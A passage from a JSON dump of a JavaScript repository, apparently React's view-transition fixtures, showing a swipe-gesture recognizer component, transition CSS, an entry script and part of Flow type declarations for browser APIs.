renderedUrl here lets us only update this on commit.\n              url === '/?b' ? (\n                <div>\n                  {a}\n                  {b}\n                </div>\n              ) : (\n                <div>\n                  {b}\n                  {a}\n                </div>\n              )\n            }\n            <ViewTransition>\n              {show ? (\n                <div>hello{exclamation}</div>\n              ) : (\n                <section>Loading</section>\n              )}\n            </ViewTransition>\n            <p>\n              <Id />\n            </p>\n            {show ? null : (\n              <ViewTransition>\n                <div>world{exclamation}</div>\n              </ViewTransition>\n            )}\n            <Activity mode={show ? 'visible' : 'hidden'}>\n              <ViewTransition>\n                <div>!!</div>\n              </ViewTransition>\n            </Activity>\n            <Suspense\n              fallback={\n                <ViewTransition>\n                  <div>\n                    <ViewTransition name=\"shared-reveal\">\n                      <h2>█████</h2>\n                    </ViewTransition>\n                    <p>████</p>\n                    <p>███████</p>\n                    <p>████</p>\n                    <p>██</p>\n                    <p>██████</p>\n                    <p>███</p>\n                    <p>████</p>\n                  </div>\n                </ViewTransition>\n              }>\n              <ViewTransition>\n                <div>\n                  <p>these</p>\n                  <p>rows</p>\n                  <ViewTransition name=\"shared-reveal\">\n                    <h2>exist</h2>\n                  </ViewTransition>\n                  <p>to</p>\n                  <p>test</p>\n                  <p>scrolling</p>\n                  <p>content</p>\n                  <p>out</p>\n                  <p>of</p>\n                  {portal}\n                  <p>the</p>\n                  <p>viewport</p>\n                  <Suspend />\n                </div>\n              </ViewTransition>\n              {show ? <Component /> : null}\n            </Suspense>\n          </div>\n        </ViewTransition>\n      </SwipeRecognizer>\n      <NestedReveal />\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/SwipeRecognizer.js",
    "content": "import React, {\n  useRef,\n  useEffect,\n  startTransition,\n  unstable_startGestureTransition as startGestureTransition,\n} from 'react';\n\nimport ScrollTimelinePolyfill from 'animation-timelines/scroll-timeline';\nimport TouchPanTimeline from 'animation-timelines/touch-pan-timeline';\n\nconst ua = typeof navigator === 'undefined' ? '' : navigator.userAgent;\nconst isSafariMobile =\n  ua.indexOf('Safari') !== -1 &&\n  (ua.indexOf('iPhone') !== -1 ||\n    ua.indexOf('iPad') !== -1 ||\n    ua.indexOf('iPod') !== -1);\n\n// Example of a Component that can recognize swipe gestures using a ScrollTimeline\n// without scrolling its own content. Allowing it to be used as an inert gesture\n// recognizer to drive a View Transition.\nexport default function SwipeRecognizer({\n  action,\n  children,\n  direction,\n  gesture,\n}) {\n  if (direction == null) {\n    direction = 'left';\n  }\n  const axis = direction === 'left' || direction === 'right' ? 'x' : 'y';\n\n  const scrollRef = useRef(null);\n  const activeGesture = useRef(null);\n  const touchTimeline = useRef(null);\n\n  function onTouchStart(event) {\n    if (!isSafariMobile && typeof ScrollTimeline === 'function') {\n      // If not Safari and native ScrollTimeline is supported, then we use that.\n      return;\n    }\n    if (touchTimeline.current) {\n      // We can catch the gesture before it settles.\n      return;\n    }\n    const scrollElement = scrollRef.current;\n    const bounds =\n      axis === 'x' ? scrollElement.clientWidth : scrollElement.clientHeight;\n    const range =\n      direction === 'left' || direction === 'up' ? [bounds, 0] : [0, -bounds];\n    const timeline = new TouchPanTimeline({\n      touch: event,\n      source: scrollElement,\n      axis: axis,\n      range: range,\n      snap: range,\n    });\n    touchTimeline.current = timeline;\n    timeline.settled.then(() => {\n      if (touchTimeline.current !== timeline) {\n        return;\n      }\n      touchTimeline.current = null;\n      const changed =\n        direction === 'left' || direction === 'up'\n          ? timeline.currentTime < 50\n          : timeline.currentTime > 50;\n      onGestureEnd(changed);\n    });\n  }\n\n  function onTouchEnd() {\n    if (activeGesture.current === null) {\n      // If we didn't start a gesture before we release, we can release our\n      // timeline.\n      touchTimeline.current = null;\n    }\n  }\n\n  function onScroll() {\n    if (activeGesture.current !== null) {\n      return;\n    }\n\n    let scrollTimeline;\n    if (touchTimeline.current) {\n      // We're in a polyfilled touch gesture. Let's use that timeline instead.\n      scrollTimeline = touchTimeline.current;\n    } else if (typeof ScrollTimeline === 'function') {\n      // eslint-disable-next-line no-undef\n      scrollTimeline = new ScrollTimeline({\n        source: scrollRef.current,\n        axis: axis,\n      });\n    } else {\n      scrollTimeline = new ScrollTimelinePolyfill({\n        source: scrollRef.current,\n        axis: axis,\n      });\n    }\n    activeGesture.current = startGestureTransition(\n      scrollTimeline,\n      () => {\n        gesture(direction);\n      },\n      direction === 'left' || direction === 'up'\n        ? {\n            rangeStart: 100,\n            rangeEnd: 0,\n          }\n        : {\n            rangeStart: 0,\n            rangeEnd: 100,\n          }\n    );\n  }\n  function onGestureEnd(changed) {\n    // We cancel the gesture before invoking side-effects to allow the gesture lane to fully commit\n    // before scheduling new updates.\n    if (activeGesture.current !== null) {\n      const cancelGesture = activeGesture.current;\n      activeGesture.current = null;\n      cancelGesture();\n    }\n    if (changed) {\n      // Trigger side-effects\n      startTransition(action);\n    }\n  }\n  function onScrollEnd() {\n    if (touchTimeline.current) {\n      // We have a touch gesture controlling the swipe.\n      return;\n    }\n    let changed;\n    const scrollElement = scrollRef.current;\n    if (axis === 'x') {\n      const halfway =\n        (scrollElement.scrollWidth - scrollElement.clientWidth) / 2;\n      changed =\n        direction === 'left'\n          ? scrollElement.scrollLeft < halfway\n          : scrollElement.scrollLeft > halfway;\n    } else {\n      const halfway =\n        (scrollElement.scrollHeight - scrollElement.clientHeight) / 2;\n      changed =\n        direction === 'up'\n          ? scrollElement.scrollTop < halfway\n          : scrollElement.scrollTop > halfway;\n    }\n    onGestureEnd(changed);\n  }\n\n  useEffect(() => {\n    const scrollElement = scrollRef.current;\n    switch (direction) {\n      case 'left':\n        scrollElement.scrollLeft =\n          scrollElement.scrollWidth - scrollElement.clientWidth;\n        break;\n      case 'right':\n        scrollElement.scrollLeft = 0;\n        break;\n      case 'up':\n        scrollElement.scrollTop =\n          scrollElement.scrollHeight - scrollElement.clientHeight;\n        break;\n      case 'down':\n        scrollElement.scrollTop = 0;\n        break;\n      default:\n        break;\n    }\n  }, [direction]);\n\n  const scrollStyle = {\n    position: 'relative',\n    padding: '0px',\n    margin: '0px',\n    border: '0px',\n    width: axis === 'x' ? '100%' : null,\n    height: axis === 'y' ? '100%' : null,\n    overflow: 'scroll hidden',\n    // Disable overscroll on Safari which moves the sticky content.\n    // Unfortunately, this also means that we disable chaining. We should only disable\n    // it if the parent is not scrollable in this axis.\n    overscrollBehaviorX: axis === 'x' ? 'none' : 'auto',\n    overscrollBehaviorY: axis === 'y' ? 'none' : 'auto',\n    scrollSnapType: axis + ' mandatory',\n    scrollbarWidth: 'none',\n  };\n\n  const overScrollStyle = {\n    position: 'relative',\n    padding: '0px',\n    margin: '0px',\n    border: '0px',\n    width: axis === 'x' ? '200%' : null,\n    height: axis === 'y' ? '200%' : null,\n  };\n\n  const snapStartStyle = {\n    position: 'absolute',\n    padding: '0px',\n    margin: '0px',\n    border: '0px',\n    width: axis === 'x' ? '50%' : '100%',\n    height: axis === 'y' ? '50%' : '100%',\n    left: '0px',\n    top: '0px',\n    scrollSnapAlign: 'center',\n  };\n\n  const snapEndStyle = {\n    position: 'absolute',\n    padding: '0px',\n    margin: '0px',\n    border: '0px',\n    width: axis === 'x' ? '50%' : '100%',\n    height: axis === 'y' ? '50%' : '100%',\n    right: '0px',\n    bottom: '0px',\n    scrollSnapAlign: 'center',\n  };\n\n  // By placing the content in a sticky box we ensure that it doesn't move when\n  // we scroll. Unless done so by the View Transition.\n  const stickyStyle = {\n    position: 'sticky',\n    padding: '0px',\n    margin: '0px',\n    border: '0px',\n    left: '0px',\n    top: '0px',\n    width: axis === 'x' ? '50%' : null,\n    height: axis === 'y' ? '50%' : null,\n    overflow: 'hidden',\n  };\n\n  return (\n    <div\n      style={scrollStyle}\n      onTouchStart={onTouchStart}\n      onTouchEnd={onTouchEnd}\n      onTouchCancel={onTouchEnd}\n      onScroll={onScroll}\n      onScrollEnd={onScrollEnd}\n      ref={scrollRef}>\n      <div style={overScrollStyle}>\n        <div style={snapStartStyle} />\n        <div style={snapEndStyle} />\n        <div style={stickyStyle}>{children}</div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/components/Transitions.module.css",
    "content": "@keyframes enter-slide-right {\n  0% {\n    opacity: 0;\n    translate: -200px 0;\n  }\n  100% {\n    opacity: 1;\n    translate: 0 0;\n  }\n}\n\n@keyframes enter-slide-left {\n  0% {\n    opacity: 0;\n    translate: 200px 0;\n  }\n  100% {\n    opacity: 1;\n    translate: 0 0;\n  }\n}\n\n@keyframes exit-slide-right {\n  0% {\n    opacity: 1;\n    translate: 0 0;\n  }\n  100% {\n    opacity: 0;\n    translate: 200px 0;\n  }\n}\n\n@keyframes exit-slide-left {\n  0% {\n    opacity: 1;\n    translate: 0 0;\n  }\n  100% {\n    opacity: 0;\n    translate: -200px 0;\n  }\n}\n\n::view-transition-new(.slide-right) {\n  animation: enter-slide-right ease-in 0.25s;\n}\n::view-transition-old(.slide-right) {\n  animation: exit-slide-right ease-in 0.25s;\n}\n::view-transition-new(.slide-left) {\n  animation: enter-slide-left ease-in 0.25s;\n}\n::view-transition-old(.slide-left) {\n  animation: exit-slide-left ease-in 0.25s;\n}\n\n::view-transition-new(.enter-slide-right):only-child {\n  animation: enter-slide-right ease-in 0.25s forwards;\n}\n::view-transition-old(.exit-slide-left):only-child {\n  animation: exit-slide-left ease-in 0.25s forwards;\n}\n\n:root:active-view-transition-type(navigation-back) {\n  &::view-transition-new(.slide-on-nav) {\n    animation: enter-slide-right ease-in 0.25s;\n  }\n  &::view-transition-old(.slide-on-nav) {\n    animation: exit-slide-right ease-in 0.25s;\n  }\n}\n\n:root:active-view-transition-type(navigation-forward) {\n  &::view-transition-new(.slide-on-nav) {\n    animation: enter-slide-left ease-in 0.25s;\n  }\n  &::view-transition-old(.slide-on-nav) {\n    animation: exit-slide-left ease-in 0.25s;\n  }\n}\n"
  },
  {
    "path": "fixtures/view-transition/src/index.js",
    "content": "import React from 'react';\nimport {hydrateRoot} from 'react-dom/client';\n\nimport App from './components/App.js';\n\nhydrateRoot(\n  document,\n  <App\n    assets={window.assetManifest}\n    initialURL={document.location.pathname + document.location.search}\n  />\n);\n"
  },
  {
    "path": "flow-typed/environments/bom.js",
    "content": "// flow-typed signature: 09630545c584c3b212588a2390c257d0\n// flow-typed version: baae4b8bcc/bom/flow_>=v0.261.x\n\n/* BOM */\n\ndeclare class Screen {\n  +availHeight: number;\n  +availWidth: number;\n  +availLeft: number;\n  +availTop: number;\n  +top: number;\n  +left: number;\n  +colorDepth: number;\n  +pixelDepth: number;\n  +width: number;\n  +height: number;\n  +orientation?: {\n    lock(): Promise<void>,\n    unlock(): void,\n    angle: number,\n    onchange: () => mixed,\n    type:\n      | 'portrait-primary'\n      | 'portrait-secondary'\n      | 'landscape-primary'\n      | 'landscape-secondary',\n    ...\n  };\n  // deprecated\n  mozLockOrientation?: (orientation: string | Array<string>) => boolean;\n  mozUnlockOrientation?: () => void;\n  mozOrientation?: string;\n  onmozorientationchange?: (...args: any[]) => mixed;\n}\n\ndeclare var screen: Screen;\n\ndeclare interface Crypto {\n  // Not using $TypedArray as that would include Float32Array and Float64Array which are not accepted\n  getRandomValues: <\n    T:\n      | Int8Array\n      | Uint8Array\n      | Uint8ClampedArray\n      | Int16Array\n      | Uint16Array\n      | Int32Array\n      | Uint32Array\n      | BigInt64Array\n      | BigUint64Array,\n  >(\n    typedArray: T\n  ) => T;\n  randomUUID: () => string;\n}\ndeclare var crypto: Crypto;\n\ndeclare var window: any;\n\ntype GamepadButton = {\n  pressed: boolean,\n  value: number,\n  ...\n};\ntype GamepadHapticActuator = {\n  type: 'vibration',\n  pulse(value: number, duration: number): Promise<boolean>,\n  ...\n};\ntype GamepadPose = {\n  angularAcceleration: null | Float32Array,\n  angularVelocity: null | Float32Array,\n  hasOrientation: boolean,\n  hasPosition: boolean,\n  linearAcceleration: null | Float32Array,\n  linearVelocity: null | Float32Array,\n  orientation: null | Float32Array,\n  position: null | Float32Array,\n  ...\n};\ntype Gamepad = {\n  axes: number[],\n  buttons: GamepadButton[],\n  connected: boolean,\n  displayId?: number,\n  hapticActuators?: GamepadHapticActuator[],\n  hand?: '' | 'left' | 'right',\n  id: string,\n  index: number,\n  mapping: string,\n  pose?: null | GamepadPose,\n  timestamp: number,\n  ...\n};\n\n// deprecated\ntype BatteryManager = {\n  +charging: boolean,\n  +chargingTime: number,\n  +dischargingTime: number,\n  +level: number,\n  onchargingchange: ?(event: any) => mixed,\n  onchargingtimechange: ?(event: any) => mixed,\n  ondischargingtimechange: ?(event: any) => mixed,\n  onlevelchange: ?(event: any) => mixed,\n  ...\n};\n\n// https://wicg.github.io/web-share\ntype ShareData = {\n  title?: string,\n  text?: string,\n  url?: string,\n  ...\n};\n\ntype PermissionName =\n  | 'geolocation'\n  | 'notifications'\n  | 'push'\n  | 'midi'\n  | 'camera'\n  | 'microphone'\n  | 'speaker'\n  | 'usb'\n  | 'device-info'\n  | 'background-sync'\n  | 'bluetooth'\n  | 'persistent-storage'\n  | 'ambient-light-sensor'\n  | 'accelerometer'\n  | 'gyroscope'\n  | 'magnetometer'\n  | 'clipboard-read'\n  | 'clipboard-write';\n\ntype PermissionState = 'granted' | 'denied' | 'prompt';\n\ntype PermissionDescriptor = {|\n  name: PermissionName,\n|};\n\ntype DevicePermissionDescriptor = {|\n  deviceId?: string,\n  name: 'camera' | 'microphone' | 'speaker',\n|};\n\ntype MidiPermissionDescriptor = {|\n  name: 'midi',\n  sysex?: boolean,\n|};\n\ntype PushPermissionDescriptor = {|\n  name: 'push',\n  userVisibleOnly?: boolean,\n|};\n\ntype ClipboardPermissionDescriptor = {|\n  name: 'clipboard-read' | 'clipboard-write',\n  allowWithoutGesture: boolean,\n|};\n\ntype USBPermissionDescriptor = {|\n  name: 'usb',\n  filters: Array<USBDeviceFilter>,\n  exclusionFilters: Array<USBDeviceFilter>,\n|};\n\ntype FileSystemHandlePermissionDescriptor = {|\n  mode: 'read' | 'readwrite',\n|};\n\ndeclare class PermissionStatus extends EventTarget {\n  onchange: ?(event: any) => mixed;\n  +state: PermissionState;\n}\n\ndeclare class Permissions {\n  query(\n    permissionDesc:\n      | DevicePermissionDescriptor\n      | MidiPermissionDescriptor\n      | PushPermissionDescriptor\n      | ClipboardPermissionDescriptor\n      | USBPermissionDescriptor\n      | PermissionDescriptor\n  ): Promise<PermissionStatus>;\n}\n\ntype MIDIPortType = 'input' | 'output';\ntype MIDIPortDeviceState = 'connected' | 'disconnected';\ntype MIDIPortConnectionState = 'open' | 'closed' | 'pending';\n\ntype MIDIOptions = {|\n  sysex: boolean,\n  software: boolean,\n|};\n\ntype MIDIMessageEvent$Init = Event$Init & {\n  data: Uint8Array,\n  ...\n};\n\ndeclare class MIDIMessageEvent extends Event {\n  constructor(type: string, eventInitDict: MIDIMessageEvent$Init): void;\n  +data: Uint8Array;\n}\n\ntype MIDIConnectionEvent$Init = Event$Init & {\n  port: MIDIPort,\n  ...\n};\n\ndeclare class MIDIConnectionEvent extends Event {\n  constructor(type: string, eventInitDict: MIDIConnectionEvent$Init): void;\n  +port: MIDIPort;\n}\n\ndeclare class MIDIPort extends EventTarget {\n  +id: string;\n  +manufacturer?: string;\n  +name?: string;\n  +type: MIDIPortType;\n  +version?: string;\n  +state: MIDIPortDeviceState;\n  +connection: MIDIPortConnectionState;\n  onstatechange: ?(ev: MIDIConnectionEvent) => mixed;\n  open(): Promise<MIDIPort>;\n  close(): Promise<MIDIPort>;\n}\n\ndeclare class MIDIInput extends MIDIPort {\n  onmidimessage: ?(ev: MIDIMessageEvent) => mixed;\n}\n\ndeclare class MIDIOutput extends MIDIPort {\n  send(data: Iterable<number>, timestamp?: number): void;\n  clear(): void;\n}\n\ndeclare class MIDIInputMap extends $ReadOnlyMap<string, MIDIInput> {}\n\ndeclare class MIDIOutputMap extends $ReadOnlyMap<string, MIDIOutput> {}\n\ndeclare class MIDIAccess extends EventTarget {\n  +inputs: MIDIInputMap;\n  +outputs: MIDIOutputMap;\n  +sysexEnabled: boolean;\n  onstatechange: ?(ev: MIDIConnectionEvent) => mixed;\n}\n\ndeclare class NavigatorID {\n  appName: 'Netscape';\n  appCodeName: 'Mozilla';\n  product: 'Gecko';\n  appVersion: string;\n  platform: string;\n  userAgent: string;\n}\n\ndeclare class NavigatorLanguage {\n  +language: string;\n  +languages: $ReadOnlyArray<string>;\n}\n\ndeclare class NavigatorContentUtils {\n  registerContentHandler(mimeType: string, uri: string, title: string): void;\n  registerProtocolHandler(protocol: string, uri: string, title: string): void;\n}\n\ndeclare class NavigatorCookies {\n  +cookieEnabled: boolean;\n}\n\ndeclare class NavigatorPlugins {\n  +plugins: PluginArray;\n  +mimeTypes: MimeTypeArray;\n  javaEnabled(): boolean;\n}\n\ndeclare class NavigatorOnLine {\n  +onLine: boolean;\n}\n\ndeclare class NavigatorConcurrentHardware {\n  +hardwareConcurrency: number;\n}\n\ndeclare class NavigatorStorage {\n  storage?: StorageManager;\n}\n\ndeclare class StorageManager {\n  persist: () => Promise<boolean>;\n  persisted: () => Promise<boolean>;\n  estimate?: () => Promise<StorageEstimate>;\n  getDirectory: () => Promise<FileSystemDirectoryHandle>;\n}\n\ntype StorageManagerRegisteredEndpoint =\n  | 'caches'\n  | 'indexedDB'\n  | 'localStorage'\n  | 'serviceWorkerRegistrations'\n  | 'sessionStorage';\n\ntype StorageManagerUsageDetails = {[StorageManagerRegisteredEndpoint]: number};\n\ndeclare class StorageEstimate {\n  constructor(\n    usage: number,\n    quota: number,\n    usageDetails?: StorageManagerUsageDetails\n  ): void;\n  +usage: number;\n  +quota: number;\n\n  // Not a part of the standard\n  +usageDetails?: StorageManagerUsageDetails;\n}\n\ndeclare class Navigator\n  mixins\n    NavigatorID,\n    NavigatorLanguage,\n    NavigatorOnLine,\n    NavigatorContentUtils,\n    NavigatorCookies,\n    NavigatorPlugins,\n    NavigatorConcurrentHardware,\n    NavigatorStorage\n{\n  productSub: '20030107' | '20100101';\n  vendor: '' | 'Google Inc.' | 'Apple Computer, Inc';\n  vendorSub: '';\n\n  activeVRDisplays?: VRDisplay[];\n  appCodeName: 'Mozilla';\n  buildID: string;\n  doNotTrack: string | null;\n  geolocation: Geolocation;\n  mediaDevices?: MediaDevices;\n  usb?: USB;\n  maxTouchPoints: number;\n  permissions: Permissions;\n  serviceWorker?: ServiceWorkerContainer;\n  getGamepads?: () => Array<Gamepad | null>;\n  webkitGetGamepads?: Function;\n  mozGetGamepads?: Function;\n  mozGamepads?: any;\n  gamepads?: any;\n  webkitGamepads?: any;\n  getVRDisplays?: () => Promise<VRDisplay[]>;\n  registerContentHandler(mimeType: string, uri: string, title: string): void;\n  registerProtocolHandler(protocol: string, uri: string, title: string): void;\n  requestMIDIAccess?: (options?: MIDIOptions) => Promise<MIDIAccess>;\n  requestMediaKeySystemAccess?: (\n    keySystem: string,\n    supportedConfigurations: any[]\n  ) => Promise<any>;\n  sendBeacon?: (url: string, data?: BodyInit) => boolean;\n  vibrate?: (pattern: number | number[]) => boolean;\n  mozVibrate?: (pattern: number | number[]) => boolean;\n  webkitVibrate?: (pattern: number | number[]) => boolean;\n  canShare?: (shareData?: ShareData) => boolean;\n  share?: (shareData: ShareData) => Promise<void>;\n  clipboard: Clipboard;\n  credentials?: CredMgmtCredentialsContainer;\n  globalPrivacyControl?: boolean;\n\n  // deprecated\n  getBattery?: () => Promise<BatteryManager>;\n  mozGetBattery?: () => Promise<BatteryManager>;\n\n  // deprecated\n  getUserMedia?: Function;\n  webkitGetUserMedia?: Function;\n  mozGetUserMedia?: Function;\n  msGetUserMedia?: Function;\n\n  // Gecko\n  taintEnabled?: () => false;\n  oscpu: string;\n}\n\ndeclare class Clipboard extends EventTarget {\n  read(): Promise<DataTransfer>;\n  readText(): Promise<string>;\n  write(data: $ReadOnlyArray<ClipboardItem>): Promise<void>;\n  writeText(data: string): Promise<void>;\n}\n\ndeclare var navigator: Navigator;\n\ndeclare class MimeType {\n  type: string;\n  description: string;\n  suffixes: string;\n  enabledPlugin: Plugin;\n}\n\ndeclare class MimeTypeArray {\n  length: number;\n  item(index: number): MimeType;\n  namedItem(name: string): MimeType;\n  [key: number | string]: MimeType;\n}\n\ndeclare class Plugin {\n  description: string;\n  filename: string;\n  name: string;\n  version?: string; // Gecko only\n  length: number;\n  item(index: number): MimeType;\n  namedItem(name: string): MimeType;\n  [key: number | string]: MimeType;\n}\n\ndeclare class PluginArray {\n  length: number;\n  item(index: number): Plugin;\n  namedItem(name: string): Plugin;\n  refresh(): void;\n  [key: number | string]: Plugin;\n}\n\n// https://www.w3.org/TR/hr-time-2/#dom-domhighrestimestamp\n// https://developer.mozilla.org/en-US/docs/Web/API/DOMHighResTimeStamp\ndeclare type DOMHighResTimeStamp = number;\n\n// https://www.w3.org/TR/navigation-timing-2/\ndeclare class PerformanceTiming {\n  connectEnd: number;\n  connectStart: number;\n  domainLookupEnd: number;\n  domainLookupStart: number;\n  domComplete: number;\n  domContentLoadedEventEnd: number;\n  domContentLoadedEventStart: number;\n  domInteractive: number;\n  domLoading: number;\n  fetchStart: number;\n  loadEventEnd: number;\n  loadEventStart: number;\n  navigationStart: number;\n  redirectEnd: number;\n  redirectStart: number;\n  requestStart: number;\n  responseEnd: number;\n  responseStart: number;\n  secureConnectionStart: number;\n  unloadEventEnd: number;\n  unloadEventStart: number;\n}\n\ndeclare class PerformanceNavigation {\n  TYPE_NAVIGATE: 0;\n  TYPE_RELOAD: 1;\n  TYPE_BACK_FORWARD: 2;\n  TYPE_RESERVED: 255;\n\n  type: 0 | 1 | 2 | 255;\n  redirectCount: number;\n}\n\ntype PerformanceEntryFilterOptions = {\n  name: string,\n  entryType: string,\n  initiatorType: string,\n  ...\n};\n\n// https://www.w3.org/TR/performance-timeline-2/\ndeclare class PerformanceEntry {\n  name: string;\n  entryType: string;\n  startTime: DOMHighResTimeStamp;\n  duration: DOMHighResTimeStamp;\n  toJSON(): string;\n}\n\n// https://w3c.github.io/server-timing/#the-performanceservertiming-interface\ndeclare class PerformanceServerTiming {\n  description: string;\n  duration: DOMHighResTimeStamp;\n  name: string;\n  toJSON(): string;\n}\n\n// https://www.w3.org/TR/resource-timing-2/#sec-performanceresourcetiming\n// https://w3c.github.io/server-timing/#extension-to-the-performanceresourcetiming-interface\ndeclare class PerformanceResourceTiming extends PerformanceEntry {\n  initiatorType: string;\n  nextHopProtocol: string;\n  workerStart: number;\n  redirectStart: number;\n  redirectEnd: number;\n  fetchStart: number;\n  domainLookupStart: number;\n  domainLookupEnd: number;\n  connectStart: number;\n  connectEnd: number;\n  secureConnectionStart: number;\n  requestStart: number;\n  responseStart: number;\n  responseEnd: number;\n  transferSize: string;\n  encodedBodySize: number;\n  decodedBodySize: number;\n  serverTiming: Array<PerformanceServerTiming>;\n}\n\n// https://w3c.github.io/event-timing/#sec-performance-event-timing\ndeclare class PerformanceEventTiming extends PerformanceEntry {\n  processingStart: number;\n  processingEnd: number;\n  cancelable: boolean;\n  target: ?Node;\n  interactionId: number;\n}\n\n// https://w3c.github.io/longtasks/#taskattributiontiming\ndeclare class TaskAttributionTiming extends PerformanceEntry {\n  containerType: string;\n  containerSrc: string;\n  containerId: string;\n  containerName: string;\n}\n\n// https://w3c.github.io/longtasks/#sec-PerformanceLongTaskTiming\ndeclare class PerformanceLongTaskTiming extends PerformanceEntry {\n  attribution: $ReadOnlyArray<TaskAttributionTiming>;\n}\n\n// https://www.w3.org/TR/navigation-timing-2/\ndeclare class PerformanceNavigationTiming extends PerformanceResourceTiming {\n  unloadEventStart: number;\n  unloadEventEnd: number;\n  domInteractive: number;\n  domContentLoadedEventStart: number;\n  domContentLoadedEventEnd: number;\n  domComplete: number;\n  loadEventStart: number;\n  loadEventEnd: number;\n  type: 'navigate' | 'reload' | 'back_forward' | 'prerender';\n  redirectCount: number;\n}\n\n// https://www.w3.org/TR/user-timing/#extensions-performance-interface\ndeclare type PerformanceMarkOptions = {|\n  detail?: mixed,\n  startTime?: number,\n|};\n\ndeclare type PerformanceMeasureOptions = {|\n  detail?: mixed,\n  start?: number | string,\n  end?: number | string,\n  duration?: number,\n|};\n\ntype EventCountsForEachCallbackType =\n  | (() => void)\n  | ((value: number) => void)\n  | ((value: number, key: string) => void)\n  | ((value: number, key: string, map: Map<string, number>) => void);\n\n// https://www.w3.org/TR/event-timing/#eventcounts\ndeclare interface EventCounts {\n  size: number;\n\n  entries(): Iterator<[string, number]>;\n  forEach(callback: EventCountsForEachCallbackType): void;\n  get(key: string): ?number;\n  has(key: string): boolean;\n  keys(): Iterator<string>;\n  values(): Iterator<number>;\n}\n\ndeclare class Performance {\n  eventCounts: EventCounts;\n\n  // deprecated\n  navigation: PerformanceNavigation;\n  timing: PerformanceTiming;\n\n  onresourcetimingbufferfull: (ev: any) => mixed;\n  clearMarks(name?: string): void;\n  clearMeasures(name?: string): void;\n  clearResourceTimings(): void;\n  getEntries(options?: PerformanceEntryFilterOptions): Array<PerformanceEntry>;\n  getEntriesByName(name: string, type?: string): Array<PerformanceEntry>;\n  getEntriesByType(type: string): Array<PerformanceEntry>;\n  mark(name: string, options?: PerformanceMarkOptions): void;\n  measure(\n    name: string,\n    startMarkOrOptions?: string | PerformanceMeasureOptions,\n    endMark?: string\n  ): void;\n  now(): DOMHighResTimeStamp;\n  setResourceTimingBufferSize(maxSize: number): void;\n  toJSON(): string;\n}\n\ndeclare var performance: Performance;\n\ntype PerformanceEntryList = PerformanceEntry[];\n\ndeclare interface PerformanceObserverEntryList {\n  getEntries(): PerformanceEntryList;\n  getEntriesByType(type: string): PerformanceEntryList;\n  getEntriesByName(name: string, type: ?string): PerformanceEntryList;\n}\n\ntype PerformanceObserverInit = {\n  entryTypes?: string[],\n  type?: string,\n  buffered?: boolean,\n  ...\n};\n\ndeclare class PerformanceObserver {\n  constructor(\n    callback: (\n      entries: PerformanceObserverEntryList,\n      observer: PerformanceObserver\n    ) => mixed\n  ): void;\n\n  observe(options: ?PerformanceObserverInit): void;\n  disconnect(): void;\n  takeRecords(): PerformanceEntryList;\n\n  static supportedEntryTypes: string[];\n}\n\ndeclare class History {\n  length: number;\n  scrollRestoration: 'auto' | 'manual';\n  state: any;\n  back(): void;\n  forward(): void;\n  go(delta?: number): void;\n  pushState(statedata: any, title: string, url?: string): void;\n  replaceState(statedata: any, title: string, url?: string): void;\n}\n\ndeclare var history: History;\n\ndeclare class Location {\n  ancestorOrigins: string[];\n  hash: string;\n  host: string;\n  hostname: string;\n  href: string;\n  origin: string;\n  pathname: string;\n  port: string;\n  protocol: string;\n  search: string;\n  assign(url: string): void;\n  reload(flag?: boolean): void;\n  replace(url: string): void;\n  toString(): string;\n}\n\ndeclare var location: Location;\n\n///////////////////////////////////////////////////////////////////////////////\n\ndeclare class DOMParser {\n  parseFromString(source: string | TrustedHTML, mimeType: string): Document;\n}\n\ntype FormDataEntryValue = string | File;\n\ndeclare class FormData {\n  constructor(form?: HTMLFormElement, submitter?: HTMLElement | null): void;\n\n  has(name: string): boolean;\n  get(name: string): ?FormDataEntryValue;\n  getAll(name: string): Array<FormDataEntryValue>;\n\n  set(name: string, value: string): void;\n  set(name: string, value: Blob, filename?: string): void;\n  set(name: string, value: File, filename?: string): void;\n\n  append(name: string, value: string): void;\n  append(name: string, value: Blob, filename?: string): void;\n  append(name: string, value: File, filename?: string): void;\n\n  delete(name: string): void;\n\n  keys(): Iterator<string>;\n  values(): Iterator<FormDataEntryValue>;\n  entries(): Iterator<[string, FormDataEntryValue]>;\n}\n\ndeclare type IntersectionObserverEntry = {\n  boundingClientRect: DOMRectReadOnly,\n  intersectionRatio: number,\n  intersectionRect: DOMRectReadOnly,\n  isIntersecting: boolean,\n  rootBounds: DOMRectReadOnly,\n  target: Element,\n  time: DOMHighResTimeStamp,\n  ...\n};\n\ndeclare type IntersectionObserverCallback = (\n  entries: Array<IntersectionObserverEntry>,\n  observer: IntersectionObserver\n) => mixed;\n\ndeclare type IntersectionObserverOptions = {\n  root?: Node | null,\n  rootMargin?: string,\n  threshold?: number | Array<number>,\n  ...\n};\n\ndeclare class IntersectionObserver {\n  constructor(\n    callback: IntersectionObserverCallback,\n    options?: IntersectionObserverOptions\n  ): void;\n  root: Element | null;\n  rootMargin: string;\n  scrollMargin: string;\n  thresholds: number[];\n  observe(target: Element): void;\n  unobserve(target: Element): void;\n  takeRecords(): Array<IntersectionObserverEntry>;\n  disconnect(): void;\n}\n\ndeclare interface ResizeObserverSize {\n  +inlineSize: number;\n  +blockSize: number;\n}\n\ndeclare interface ResizeObserverEntry {\n  /**\n   * The Element whose size has changed.\n   */\n  +target: Element;\n  /**\n   * Element's content rect when ResizeObserverCallback is invoked.\n   *\n   * Legacy, may be deprecated in the future.\n   */\n  +contentRect: DOMRectReadOnly;\n  /**\n   * An array containing the Element's border box size when\n   * ResizeObserverCallback is invoked.\n   */\n  +borderBoxSize: $ReadOnlyArray<ResizeObserverSize>;\n  /**\n   * An array containing the Element's content rect size when\n   * ResizeObserverCallback is invoked.\n   */\n  +contentBoxSize: $ReadOnlyArray<ResizeObserverSize>;\n  /**\n   * An array containing the Element's content rect size in integral device\n   * pixels when ResizeObserverCallback is invoked.\n   *\n   * Not implemented in Firefox or Safari as of July 2021\n   */\n  +devicePixelContentBoxSize?: $ReadOnlyArray<ResizeObserverSize> | void;\n}\n\n/**\n * ResizeObserver can observe different kinds of CSS sizes:\n * - border-box : size of box border area as defined in CSS2.\n * - content-box : size of content area as defined in CSS2.\n * - device-pixel-content-box : size of content area as defined in CSS2, in device\n *     pixels, before applying any CSS transforms on the element or its ancestors.\n *     This size must contain integer values.\n */\ntype ResizeObserverBoxOptions =\n  | 'border-box'\n  | 'content-box'\n  | 'device-pixel-content-box';\n\ndeclare 